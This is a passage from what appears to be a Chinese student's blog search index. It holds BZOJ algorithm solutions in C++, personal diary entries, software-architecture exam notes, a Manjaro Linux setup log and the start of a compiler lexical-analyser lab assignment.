11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34int a[N]; 35int sum[N]; 36int l[N*2],r[N*2]; 37int n,b; 38int pos; 39int main() 40{ 41 #ifndef ONLINE_JUDGE 42 freopen(\"code/in.txt\",\"r\",stdin); 43 #endif 44 scanf(\"%d%d\",\u0026n,\u0026b); 45 for ( int i = 1 ; i \u003c= n ; i++) 46 { 47 scanf(\"%d\",\u0026a[i]); 48 if (a[i]==b) a[i] = 0,pos = i; 49 if (a[i]\u003cb) a[i] = -1; 50 if (a[i]\u003eb) a[i] = 1; 51 } 52 l[n]=r[n]=1;//b所在的位置 53 int ans = 0; 54 for ( int i = pos-1 ; i \u003e=1 ; i--) {sum[i]=sum[i+1]+a[i];l[sum[i]+n]++;} 55 fo","date":"2017-01-30","externalUrl":null,"permalink":"/2017/01/bzoj-1303-cqoi2009/","section":"Posts","summary":"1303: [CQOI2009]中位数图 # Time Limit: 1 Sec Memory Limit: 162 MB Submit: 2480 Solved: 1529 [Submit][Status][Discuss]","tags":["乱搞","前缀和","后缀和"],"title":"BZOJ 1303: [CQOI2009]中位数图（前缀/后缀和乱搞）","type":"post"},{"categories":["随笔杂谈"],"content":"所以还是稍微写写年终总结吧.. 感觉…2016分成了两部分吧，前11个月是一部分，后1个月是另一部分。 前11个月似乎都在做同一件事。大概先是期末花了两周时间稍微应付了下考试…然后就开始写题了…当时是第一次寒假留校…冻成狗orz 然后二月..三月…四月…五月…六月…七月…八月…九月…十月…似乎都在做同样的事情…写代码，写代码… 最后大概有1200题的样子…？我也不知道…cf rating的话..倒是还是不高…BC好像上了1900…？记不太清了… 那一学期玩脱了两科。。。计组喝数学物理方法Orz…更有趣的是…假期过于投入竞赛…尤其快开学那段时间忙校内排位赛…错过了补考的申请时间（实际上是完全忘记了申请补考这回事.)结果去考试的时候…发现自己并没有考试资格orz。。。惨哦 十月沈阳被艹哭我是不想多说了… 被卡了一道暴力题卡了蛮久…只能说是自己实力不够。。。而且就算不卡，那道字符串上的dp题的套路貌似我们没有人会…所以是说什么也做不出银牌题的….铜牌和铁牌的话..其实没什么区别吧 然后十一月去hk。。。其实已经完全是玩的心态了吧… 之后回来大概就是…失恋的状态…或者说生无可恋？ 心情低迷了好一阵…好在没有大一下和zk那时候那么颓废…至少还是一切看起来正常… 至少那种感觉就好像…内心的什么火苗熄灭了… 其实本来纠结了一下是不是要退役。。。或者叫滚粗。。。 但是发现。。其实这个纠结毫无意义。。。因为现实情况就是。。。我没什么太多时间用来训练了。。。 于是试图转移转移思路。。。没有代码的日子感觉格外的闲…所以找了之前没有看完的被g神推荐的书拿出来继续看… 然后看一些网课之类的打发时间….（说起来跟了一门compiler的课。。。赞哭） 至少努力让自己不那么闲吧….虽然后来发现…其实没什么作用… 后来…期末啊…加权…其实说实话我是第一次看自己的加权。。。以前从来看都没看过orz。。。 不过由于花了时间…所以还是比以前有更高的期望的。。。。 不过还是觉得….课内果然还是蛮easy啊…至少…至少从不玩脱的角度…或者再高一点…？ 但是课内也很无趣…不是课程本身无趣…而是觉得…可能一门出原卷的考试…你复习很久… 不如拿到卷子的同学分数高。。。 又或者什么科目你明明一直认真听讲一直做笔记…然后发现可能遇到了个假老师… 所以感觉….真的有点无趣….. 其他的大概是。。。成功牵了次红绳。。。室友和学姐2333… 牵红绳其实蛮有成就感的….大概也算做善事吧嘿嘿 然后也不禁有些羡慕… 有一次和学姐聊起妹子… 学姐说了句“你们这不就是普通朋友吗？” 突然好sad。。。也许就是普通朋友吧…..QAQ 新年愿望的话…能活到明年吧…..不开玩笑… 也祝各位新年快乐。","date":"2017-01-27","externalUrl":null,"permalink":"/2017/01/goodbye-2016/","section":"Posts","summary":"所以还是稍微写写年终总结吧.. 感觉…2016分成了两部分吧，前11个月是一部分，后1个月是另一部分。","tags":["算法竞赛"],"title":"再见2016","type":"post"},{"categories":["ACM"],"content":"1800: [Ahoi2009]fly 飞行棋 # Time Limit: 10 Sec Memory Limit: 64 MB Submit: 1530 Solved: 1220 [Submit][Status][Discuss] Description # 给出圆周上的若干个点，已知点与点之间的弧长，其值均为正整数，并依圆周顺序排列。 请找出这些点中有没有可以围成矩形的，并希望在最短时间内找出所有不重复矩形。 Input # 第一行为正整数N，表示点的个数，接下来N行分别为这N个点所分割的各个圆弧长度 Output # 所构成不重复矩形的个数 Sample Input # 8 1 2 2 3 1 1 3 3 Sample Output # 3 HINT # N\u003c= 20 思路：一开始的想法是枚举四条边，如果a==c\u0026\u0026b==d，就认为是找到了一个矩形。 重点在于判重，非常不好判断。一开始想要根绝四条边的长度hash一下，但是设想一个所有弧长都相等，且弧长较多的情况。 此时所有矩形的边长长度都相同，但是显然是不同的矩形，因此这种判断方法是错误的。 比较棒的思路是：矩形的对角线一定是外接圆的直径。 因此只需要找有多少条执行，假设为c，那么答案就是c*(c-1)/2（因为任意两条对角线就可以构成一个矩形） 这种做法的好处很明显，不需要判重。 至于如何找直径，直径是把圆周等分的弦，所以尺取找一下就好了。 复杂度O(n) 1/* *********************************************** 2Author :111qqz 3Created Time :2017年01月26日 星期四 18时43分21秒 4File Name :code/bzoj/r1800.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=25; 34int n,m; 35int a[N]; 36int sum=0; 37LL ans=0; 38void ruler() 39{ 40 int head; 41 int tail; 42 int cur = 0 ; 43 head = tail = 1; 44 while (head\u003cn) 45 { 46 cur+=a[head]; 47 while (cur\u003esum) cur-=a[tail++]; 48 if (cur==sum) 49 { 50 ans++; 51 } 52 head++; 53 } 54 55} 56int main() 57{ 58 #ifndef ONLINE_JUDGE 59// freopen(\"code/in.txt\",\"r\",stdin); 60 #endif 61 62 scanf(\"%d\",\u0026n)","date":"2017-01-26","externalUrl":null,"permalink":"/2017/01/bzoj-1800-ahoi2009fly--/","section":"Posts","summary":"1800: [Ahoi2009]fly 飞行棋 # Time Limit: 10 Sec Memory Limit: 64 MB Submit: 1530 Solved: 1220 [Submit][Status][Discuss]","tags":["math","尺取法"],"title":"BZOJ 1800: [Ahoi2009]fly 飞行棋 （尺取+数学）","type":"post"},{"categories":["ACM"],"content":"1207: [HNOI2004]打鼹鼠 # Time Limit: 10 Sec Memory Limit: 162 MB Submit: 2854 Solved: 1390 [Submit][Status][Discuss] Description # 鼹鼠是一种很喜欢挖洞的动物，但每过一定的时间，它还是喜欢把头探出到地面上来透透气的。根据这个特点阿Q编写了一个打鼹鼠的游戏：在一个nn的网格中，在某些时刻鼹鼠会在某一个网格探出头来透透气。你可以控制一个机器人来打鼹鼠，如果i时刻鼹鼠在某个网格中出现，而机器人也处于同一网格的话，那么这个鼹鼠就会被机器人打死。而机器人每一时刻只能够移动一格或停留在原地不动。机器人的移动是指从当前所处的网格移向相邻的网格，即从坐标为（i,j）的网格移向(i-1, j),(i+1, j),(i,j-1),(i,j+1)四个网格，机器人不能走出整个nn的网格。游戏开始时，你可以自由选定机器人的初始位置。现在你知道在一段时间内，鼹鼠出现的时间和地点，希望你编写一个程序使机器人在这一段时间内打死尽可能多的鼹鼠。 Input # 第一行为n（n\u003c=1000）, m（m\u003c=10000），其中m表示在这一段时间内出现的鼹鼠的个数，接下来的m行每行有三个数据time,x,y表示有一只鼹鼠在游戏开始后time个时刻，在第x行第y个网格里出现了一只鼹鼠。Time按递增的顺序给出。注意同一时刻可能出现多只鼹鼠，但同一时刻同一地点只可能出现一只鼹鼠。 Output # 仅包含一个正整数，表示被打死鼹鼠的最大数目 Sample Input # 2 2 1 1 1 2 2 2 Sample Output # 1 HINT # Source # 思路：很巧妙的题目。类比LIS，如果两只仓鼠的曼哈顿距离小于等于两只仓鼠出现的时间，那么就可以从一只仓鼠转移到另一只仓鼠。利用这个条件，做二维的LIS即可。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年01月26日 星期四 15时39分26秒 4File Name :1207.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E4+7; 34int n,m; 35int t[N],x[N],y[N]; 36int dp[N] ; //dp[i]表示第i只仓鼠出现的时候，最多能打死几只仓鼠。 37int main() 38{ 39 #ifndef ONLINE_JUDGE 40// freopen(\"code/in.txt\",\"r\",stdin); 41 #endif 42 43 cin\u003e\u003en\u003e\u003em; 44","date":"2017-01-26","externalUrl":null,"permalink":"/2017/01/bzoj-1207-hnoi2004-lis/","section":"Posts","summary":"1207: [HNOI2004]打鼹鼠 # Time Limit: 10 Sec Memory Limit: 162 MB Submit: 2854 Solved: 1390 [Submit][Status][Discuss]","tags":["dp","LIS"],"title":"BZOJ 1207: [HNOI2004]打鼹鼠 (LIS)","type":"post"},{"categories":["随笔杂谈"],"content":"绝望什么的… 总要有个具体的事情吧… 可是又说不清…好像突然每件事都让我绝望… 思考人生的意义。。。？并没有啊。。。 其实现在脑子是一片空白的。 单纯的绝望。。。 这种绝望的感觉大概经历过那么几次吧 正常的时候…自己都不觉得会怎么样。。。 然而在这种状态的时候…还是很害怕… 所以说，是一种…恐惧？ 对死亡的恐惧？ 就好像睡觉时那种突然下坠的感觉… …………. 是因为太久没写代码了吗==","date":"2017-01-07","externalUrl":null,"permalink":"/2017/01/this-Desperate-feeling-again/","section":"Posts","summary":"绝望什么的… 总要有个具体的事情吧… 可是又说不清…好像突然每件事都让我绝望…","tags":["算法竞赛"],"title":"又是这种绝望的感觉...","type":"post"},{"categories":["随笔杂谈"],"content":"“元旦打算干嘛？” “复习啊，你微机接口复习好了？数据库复习好了？体系架构复习好了？编译原理复习好了？嵌入式复习好了？” “……”","date":"2017-01-07","externalUrl":null,"permalink":"/2017/01/2333/","section":"Posts","summary":"“元旦打算干嘛？” “复习啊，你微机接口复习好了？数据库复习好了？体系架构复习好了？编译原理复习好了？嵌入式复习好了？”","tags":["算法竞赛"],"title":"大概功课不忙才有资本谈恋爱吧2333","type":"post"},{"categories":["随笔杂谈"],"content":"人生大概就是同各种欲望，各种诱惑做斗争的过程吧。","date":"2017-01-06","externalUrl":null,"permalink":"/2017/01/Every-age-has-a-different-temptation/","section":"Posts","summary":"人生大概就是同各种欲望，各种诱惑做斗争的过程吧。","tags":["算法竞赛"],"title":"其实每个时代都有不同的诱惑","type":"post"},{"categories":["其他"],"content":"Cha1 1软件架构概念： 2 是系统的一个或多个结构，它们由软件组件，组件的外部可见属性以及组件之间的关系组成。 3 组件的外部可见属性是指其他组件对该组件所做的假设。 4软件架构的多个结构： 5 静态的角度： 6 模块结构 7 分析类结构 8 类结构 9 动态的角度： 10 进程结构 11 数据流 12 控制流 13 使用结构 14 调用结构 15 层次结构 16 部署的角度： 17 物理结构 18 19架构不止是功能需求的结果 20 21Ch2: 22需求包含三要素:功能，质量，限制条件 23质量属性：系统在其生命周期过程中所表现出来的各种特征 24质量属性的关系： 25 一个质量属性的获取对其他质量属性可能产生正面或者负面的影响。 26 任何质量属性都不可能在不考虑其他属性情况下单独获取。 27质量属性举例： 28 运行时可见属性：性能，可用性，安全性 29 维护时可见属性：可修改，可扩展，可移植 30 易用性： 31 可学习性 32 可记忆性 33 错误避免 34 错误处理 35 满意度 36 37质量场景创建的参与人员： 38 最终用户 39 系统管理员 40 维护人员 41 客户 42 开发组织 43构架本身的质量属性： 44 一致性 45 正确性和完整性 46 可构建性 47生成质量属性场景的目的和意义： 48 帮助构架师生成有意义的质量属性需求 49 使质量属性需求的描述规范化 50 某一场景是一类场景的代表，系统将以完全相同的方式做出反应。 51构架的商业属性（限制）： 52 上市时间 53 成本和收益 54 预期系统生命周期长短 55 目标市场 56 推出计划 57 与老系统的集成 58 59第三章： 60软件架构样式的种类： 61 以数据为中心 62 数据流 63 虚拟机 64 调用-返回 65 独立组件 66 C/S 67构架的异质性： 68 局部异质 69 层次异质 70 并行异质 71 72ISO/OSI七层参考模型： 73 应用层 74 表示层 75 会话层 76 传输层 77 网络层 78 数据链路层 79 物理层 80 81软件框架： 82 提取特定领域软件的共性部分形成的体系结构。 83框架和架构的关系： 84 框架不是构架。 85 构架确定了系统整体结构、层次划分、不同部分之间的协作等设计老驴。 86 框架比构架更具体，更偏重于技术。 87 一个框架对应一个架构，一个架构可以有多个框架。 88 89第四章： 90架构战术：影响质量属性的设计决策。 91架构策略：架构中所采用的战术的集合。 92可用性的战术： 93 错误检测的战术： 94 回声 95 心跳 96 异常 97 错误恢复的战术： 98 表决 99 主动冗余 100 被动冗余 101 备件 102 状态再同步 103 检查点/回滚 104 错误预防的战术： 105 进程监视器 106 从服务中删除 107 事物 108可修改性的战术： 109 局部化修改的战术： 110 维持语义一致性 111 预期期望的变更 112 泛化模块 113 限制可能的选择 114 防止连锁反应的战术： 115 信息隐藏 116 维持现有的接口 117 添加结构 118 添加适配器 119 提供一个占位程序 120 推迟绑定时间的战术： 121 运行时注册 122 配置文件 123 多态 124 组件更换 125 遵守已定义的协议 126实施性能的战术： 127 影响响应时间的两个基本因素： 128 资源消耗 129 阻塞时间： 130 资源争用 131 资源的可用性 132 对其他计算的依赖性 133 控制对资源需求的战术： 134 减少处理一个事件所需要的资源： 135 提高计算效率 136 减少计算开销 137 减少需要同时处理： 138 管理事件率 139 控制采样频率 140 控制系统的使用： 141 限制执行时间 142 限制队列的大小 143 资源管理的战术： 144 引入并发 145 维持数据或计算的多个副本 146 增加可用资源 147 资源仲裁常见的调度策略： 148 先进/先出 149 固定优先级：语义重要性；时限时间单调；速率单调 150 动态优先级调度：轮转；时限时间最早优先 151 静态调度 152实施安全性的战术： 153 用于抵","date":"2017-01-03","externalUrl":null,"permalink":"/2017/01/Software-Architecture-course-review/","section":"Posts","summary":"Cha1 1软件架构概念： 2 是系统的一个或多个结构，它们由软件组件，组件的外部可见属性以及组件之间的关系组成。 3 组件的外部可见属性是指其他组件对该组件所做的假设。 4软件架构的多个结构： 5 静态的角度： 6 模块结构 7 分析类结构 8 类结构 9 动态的角度： 10 进程结构 11 数据流 12 控制流 13 使用结构 14 调用结构 15 层次结构 16 部署的角度： 17 物理结构 18 19架构不止是功能需求的结果 20 21Ch2: 22需求包含三要素:功能，质量，限制条件 23质量属性：系统在其生命周期过程中所表现出来的各种特征 24质量属性的关系： 25 一个质量属性的获取对其他质量属性可能产生正面或者负面的影响。 26 任何质量属性都不可能在不考虑其他属性情况下单独获取。 27质量属性举例： 28 运行时可见属性：性能，可用性，安全性 29 维护时可见属性：可修改，可扩展，可移植 30 易用性： 31 可学习性 32 可记忆性 33 错误避免 34 错误处理 35 满意度 36 37质量场景创建的参与人员： 38 最终用户 39 系统管理员 40 维护人员 41 客户 42 开发组织 43构架本身的质量属性： 44 一致性 45 正确性和完整性 46 可构建性 47生成质量属性场景的目的和意义： 48 帮助构架师生成有意义的质量属性需求 49 使质量属性需求的描述规范化 50 某一场景是一类场景的代表，系统将以完全相同的方式做出反应。 51构架的商业属性（限制）： 52 上市时间 53 成本和收益 54 预期系统生命周期长短 55 目标市场 56 推出计划 57 与老系统的集成 58 59第三章： 60软件架构样式的种类： 61 以数据为中心 62 数据流 63 虚拟机 64 调用-返回 65 独立组件 66 C/S 67构架的异质性： 68 局部异质 69 层次异质 70 并行异质 71 72ISO/OSI七层参考模型： 73 应用层 74 表示层 75 会话层 76 传输层 77 网络层 78 数据链路层 79 物理层 80 81软件框架： 82 提取特定领域软件的共性部分形成的体系结构。 83框架和架构的关系： 84 框架不是构架。 85 构架确定了系统整体结构、层次划分、不同部分之间的协作等设计老驴。 86 框架比构架更具体，更偏重于技术。 87 一个框架对应一个架构，一个架构可以有多个框架。 88 89第四章： 90架构战术：影响质量属性的设计决策。 91架构策略：架构中所采用的战术的集合。 92可用性的战术： 93 错误检测的战术： 94 回声 95 心跳 96 异常 97 错误恢复的战术： 98 表决 99 主动冗余 100 被动冗余 101 备件 102 状态再同步 103 检查点/回滚 104 错误预防的战术： 105 进程监视器 106 从服务中删除 107 事物 108可修改性的战术： 109 局部化修改的战术： 110 维持语义一致性 111 预期期望的变更 112 泛化模块 113 限制可能的选择 114 防止连锁反应的战术： 115 信息隐藏 116 维持现有的接口 117 添加结构 118 添加适配器 119 提供一个占位程序 120 推迟绑定时间的战术： 121 运行时注册 122 配置文件 123 多态 124 组件更换 125 遵守已定义的协议 126实施性能的战术： 127 影响响应时间的两个基本因素： 128 资源消耗 129 阻塞时间： 130 资源争用 131 资源的可用性 132 对其他计算的依赖性 133 控制对资源需求的战术： 134 减少处理一个事件所需要的资源： 135 提高计算效率 136 减少计算开销 137 减少需要同时处理： 138 管理事件率 139 控制采样频率 140 控制系统的使用： 141 限制执行时间 142 限制队列的大小 143 资源管理的战术： 144 引入并发 145 维持数据或计算的多个副本 146 增加可用资源 147 资源仲裁常见的调度策略： 148 先进/先出 149 固定优先级：语义重要性；时限时间单调；速率单调 150 动态优先级调度：轮转；时限时间最早优先 151 静态调度 152实施安全性的战术： 153 用于抵抗攻击的战术： 154 对用户进行身份验证 155 对用户进行授权 156 维护数据的机密性 157 维护完整性 158 限制暴露的信息 159 限制访问 160 检测攻击的战术： 161 从攻击中恢复的战术： 162 回复状态 163 识别攻击者 164易用性的战术： 165 运行时战术： 166 维持任务的一个模型 167 维护用户的一个模型 168 维护系统的一个模型 169 设计时战术： 170软件架构样式与战术的关系： 171 软件架构样式是从战略层面解决质量问题，战术是从具体部署上给猪解决质量问题的局部策略。 172 173 174第五章：设计构架 175基于构架的开发步骤： 176 为软件系统创建一个商业案例 177 弄清系统需求 178 构建构架 179 正确表述此构架，并与有关各方进行交流 180 对此构架进行分析和评价 181 实现基于构架的系统并保证与构架相一致 182 系统维护时，构架文档应同步维护 183构架驱动的因素： 184 功能 185 质量 186 部分限制条件（限制条件的某个子集） 187 188良好架构的评判原则（判断题常考）： 189 设计构架过程的建议: 190 架的设计应该由一门设计师来完成 191 设计师应该全面掌握对系统的技术需求，以及对各项定性指标的优先级清单。 192 构架的文档完备，并蚕蛹所有人员认可的文档形式。 193 构架设计文档应让各风险承担者积极评估。 194 通过对构架分析，得出明确的定性与定量指标。 195 构架设计应该有助于具体实现。 196 允许构架带来一定的资源争用，并给出可行的解决方案。 197 关于构架的结构的建议： 198 构架由定义良好的模块组成，各个模块的功能划分应该基于信息隐藏。 199 模块的划分应体现出相互独立的原则。 200 把计算机基础结构的特性封装在一定的模块 201 构架尽量不依赖某个特定版本的商品产品或工具。 202 产生数据的功能和使用数据的功能应分属于不同的模块。 203 对并发系统，构架应充分考虑进程与模块结构的不对应。 204 进程编写要考虑到与特定处理器的关系，并容易改变关系。 205 构架应尽量采用一些已知的设计模式。 206 207ADD构架设计的步骤： 208 样本输入 209 选择要分解的模块 210 根据下列5个步骤对模块进行求精（重点）： 211 从具体的质量场景和功能需求集合中选择构架驱动因素。 212 选择满足构架驱动因素的构架模式。 213 实例化模块并根据用例分配功能，使用多个视图进行表示 214 定义子模块的接口 215 验证用例和质量场景并对其进行求精，使它们称为子模块的限制。 216 对需求进一步分解的每个模块重复上述步骤。 217创建骨架系统： 218 思想：提供一种基本能力，以一种对项目有利的顺序实现系统的功能。 219 好处： 220 提高开发效率，鼓舞士气。 221 能更早发现复杂的依赖关系。 222 使开发人员更多关注最难实现的部分。 223 能够缩短系统集成时间，降低其成本，并使集成成本更明确。 224 便于评审和测试。 225 步骤： 226 实现处理构架组件交互的软件部分 227 选择组件逐步添加到系统中。 228 逐步进行测试。 229架构师的职责： 230 了解所在组织的业务目标，使架构更好地支持业务目标。 231 规划产品的开发与严禁 232 规划和建设架构级的重用etc 233 234 235分析软件构架的原因(重要): 236 它是风险承担者之间的交流平台，是早期设计决策的体现，是可传递的模型。 237 软件质量不可能在软件开发的最后阶段追加上去，必须在设计之初就考虑到。 238 239第七章： 240构架评审： 241 成本： 242 人员时间成本 243 构架评审部门的组织开销 244 构架评审部分要求高级设计人员参与的代价（不就是人员时间成本吗。。。 245 收益： 246 及早发现构架中存在的问题 247 构架的改进 248 财务收益 249 强制位评审做准备 250 捕获构架设计的基本思想 251 验证需求的有效性 252评审实施： 253 按问题的重要性进行分类 254 强调那些与偶家相符或相悖的重要问题 255 必须记载评审中所提的每个问题 256构架评审的主要指导原则： 257 把由独立部门实施的正规的构架评审作为项目开发周期规划的一部分。 258 选择评审的最佳时间，尽早预审一次。 259 选择恰当的评审技巧 260 签署评审合同 261 限制所要品神的质量属性的个数 262 要保证评审小组中有构架方面的专家，领域专家，资料员，后勤员。 263 一定要有系统设计师。 264 收集各种场景数据，并在此基础上形成评审清单。 265 266第八章： 267架构权衡分析法（ATAM)： 268 特点：不仅可以揭示出构架满足特定质量目标的情况，而且可以让我们更清楚地认识质量目标之间的联系。 269 输入：用场景集合捕获的质量要求。 270 输出： 271 简介的框架表述 272 表述清楚的业务目标 273 构架决策到质量需求的映射 274 所确定的敏感点和权衡点集合 275 有风险决策和无风险决策 276 风险主题的集合 277 阶段： 278 评估小组和项目决策者共同决定评估细节 279 评估小组收集信息和分析 280 风险承担着参与评估 281 评估小组自我检查和改进，提交书面报告 282 步骤（重点）： 283 ATAM方法的表述 284 商业动机的表述 285 构架的表述 286 对构架方法进行分类 287 生成质量属性效用树 288 分析构架方法 289 集体讨论并确定场景优先级 290 再次分析构架方法 291 结果的表述 292 293第九章： 294 文档： 295 目的与作用：让不同的风险承担者都能快速找到和理解他们需要的信息。 296 基本原则：从读者的角度出发。","tags":["算法竞赛"],"title":"软件体系结构复习笔记","type":"post"},{"categories":["其他"],"content":"噫。。之前x200上装的是win7+fedora25 gnome。。。 虽然感觉gnome对于09年的老电脑来说有点吃力…不过也懒得换.. 结果硬盘挂了2333 于是换了块硬盘 以及被人安利了manjaro，一个基于arch的linux发行版 还有就是因为平安夜又没有代码可以写又没有妹子可以陪觉得人生寂寞如雪 官网下好镜像以后，一开始用dd命令做u盘，发现启动不了。 无奈到win下用了poweriso制作，成功。 安装很顺利…基本就是傻瓜操作… 装好以后…装了vim…shadowsocks…chrome…fish…搜狗输入法。。。 添加了archcn的源 发现不能切换输入法。。。 解决办法： 1在~/.xprofile 文件中添加如下内容 2export GTK_IM_MODULE=fcitx 3export QT_IM_MODULE=fcitx 4export XMODIFIERS=\"@im=fcitx\" 其他都挺顺利的。。 结果今天用着用着发现renkz2011这账户无法登录了。。。提示密码错误。。。 root账户是可以登录的。。。 于是我跑到root下登录。。。是可以的。。。 于是改了下renkz2011的密码。。。发现依然提示错误。。。 但是呢。。。我在root下做需要renkz2011权限的事情。。。输入密码就是没有问题的。。 我新建了一个账户。。。发现登录也没有问题。。。 奇怪啊。。。回想一下。。。我改了什么。。。 添加了archcn的源。。。 应该没关系。。。 还有就是。。。remove了zsh..? 于是我尝试着重新装回zsh… 再登录。。发现可以了。。。 回想一下。。。我在renkz2011账户下曾经设置默认shell为zsh… 卸载以后好像忘记更改了orz 但是。。。为什么和shell有关呢。。。","date":"2016-12-27","externalUrl":null,"permalink":"/2016/12/manjarozheteng/","section":"Posts","summary":"噫。。之前x200上装的是win7+fedora25 gnome。。。","tags":["算法竞赛"],"title":"manjaro安(zhe)装(teng)记","type":"post"},{"categories":["其他"],"content":"解决办法:https://blog.discourse.org/2016/03/switching-your-discourse-from-mandrill-to-mailgun/","date":"2016-12-25","externalUrl":null,"permalink":"/2016/12/discourse/","section":"Posts","summary":"解决办法:https://blog.discourse.org/2016/03/switching-your-discourse-from-mandrill-to-mailgun/","tags":["discourse"],"title":"discourse邮件服务无法使用的解决方案","type":"post"},{"categories":["ACM"],"content":"https://www.zhihu.com/question/35659528/answer/136064981 高考。。保送…选择一错再错。 唯一正确的选择大概就是远离东北了吧。 真是幸运。 东北衰落不衰落是另一回事。 我不喜欢东北的人，虽然我也有很多朋友，他们人也很nice 但是大环境就是，学习没用，要懂得人情世故 看了这个回答回想起了以前的种种。 东北，是我的家乡，但是我不会再回去了。","date":"2016-12-17","externalUrl":null,"permalink":"/2016/12/%e8%bf%99%e5%87%a0%e5%b9%b4%e6%88%91%e5%8f%aa%e5%81%9a%e5%af%b9%e4%ba%86%e4%b8%80%e4%b8%aa%e9%80%89%e6%8b%a9/","section":"Posts","summary":"https://www.zhihu.com/question/35659528/answer/136064981 高考。。保送…选择一错再错。 唯一正确的选择大概就是远离东北了吧。","tags":["算法竞赛"],"title":"这几年我只做对了一个选择","type":"post"},{"categories":["随笔杂谈"],"content":"不知道什么时候会死。。。 中弹。。。是谁。。。。？ 竟然是。。。小学的一个同学。。。 肩膀。。。我要死了吗。。。 醒来以后回忆。。这个同学好像的确是去当兵了。。。 浑身酸痛的梦…","date":"2016-12-17","externalUrl":null,"permalink":"/2016/12/20161217/","section":"Posts","summary":"不知道什么时候会死。。。 中弹。。。是谁。。。。？ 竟然是。。。小学的一个同学。。。","tags":["算法竞赛"],"title":"20161217。。。","type":"post"},{"categories":["其他"],"content":"实验一　设计实现简单语言的词法分析器 # 1、实验目的 通过该实验,熟练应用编译原理关于词法分析的基本理论和方法；学会用C/C++高级程序设计语言设计一个词法分析器；加深对编译原理理论的分析理解，提高实际操作和解决具体问题的能力。 2、实验条件 计算机上安装C/C++编译处理软件。 3、实验内容及要求 对下述单词表定义的语言设计编制一个词法分析器。单词符号及种别表和词法分析器功能及基本要求如下： （1）单词符号及种别表 单词符号 种别编码 单词值 main 1 int 2 float 3 double 4 char 5 if 6 else 7 do 8 while 9 l(l|d)* 10 内部字符串 ( +|-|ε ) dd*(.dd* | ε)( e ( +|-|ε ) dd*|ε) 20 二进制数值表示 = 21 + 22 - 23 * 24 / 25 ( 26 ) 27 { 28 } 29 , 30 ; 31 \u003e 32 \u003e= 33 \u003c 34 \u003c= 35 == 36 != 37 # 0 （2）词法分析器功能及基本要求 处理用户提交的符合上述词法的源代码序列，进行词法分析，并输出单词二元组。 4、主要参考步骤 (1)画出识别上述语言单词的状态转换图 (2)用C/C++语言编写词法分析程序（应考虑能被语法分析程序调用） (3)预处理，去除注释、多余空格、Tab字符、回车换行符等 (4)设计若干用例，上机测试并通过所设计实现的词法分析器 1. +++-123.456e-127*+45.99e+200++abc+-cnt++49 2. (+123.456+-456.789e-120)*m2+(a++456)*-c123 3. ++4+1.4 4. a+-149+49.7e+127+m123 5. x=a++1.27e+18 6. --20+-124.987e+127+-xyz begin if(x\u003e=-1.27e-18) xyz=(x1+y1)* -124.987e+127 7. --20+-124. e+111-137++569.246e+(123+ivar); x=1;if(x\u003e1) y=1234; x=(123+abc); (本例应有出错信息) 5、思考 数字的正负号与运算符加减如何处理，识别数字的DFA怎样和运算符加减等融合在一起，进而指导词法分析器的程序编写。 6、实验报告提交格式 (1) 总体设计思想 (2) 详细算法设计 (3) 流程框图 (4) 函数相关说明 (5) 输入与输出（包括出错处理） (6) 程序运行结果（屏幕截图） (7) 词法分析器使用说明 (8) 心得与体会 (9) 源程序清单 —————————————————————————————————————————————————————————————————————————————— 主要时间卡在了double转二进制上… 有的人说需要转，有的人说不需要orz 我能想到的办法。。大概就是要高精度＋手动实现itof? 一点也不美啊。。。求好看的方法orz 1/* *********************************************** 2Author :111qqz 3Created Time :2016年12月09日 星期五 10时39分52秒 4 5 ************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define 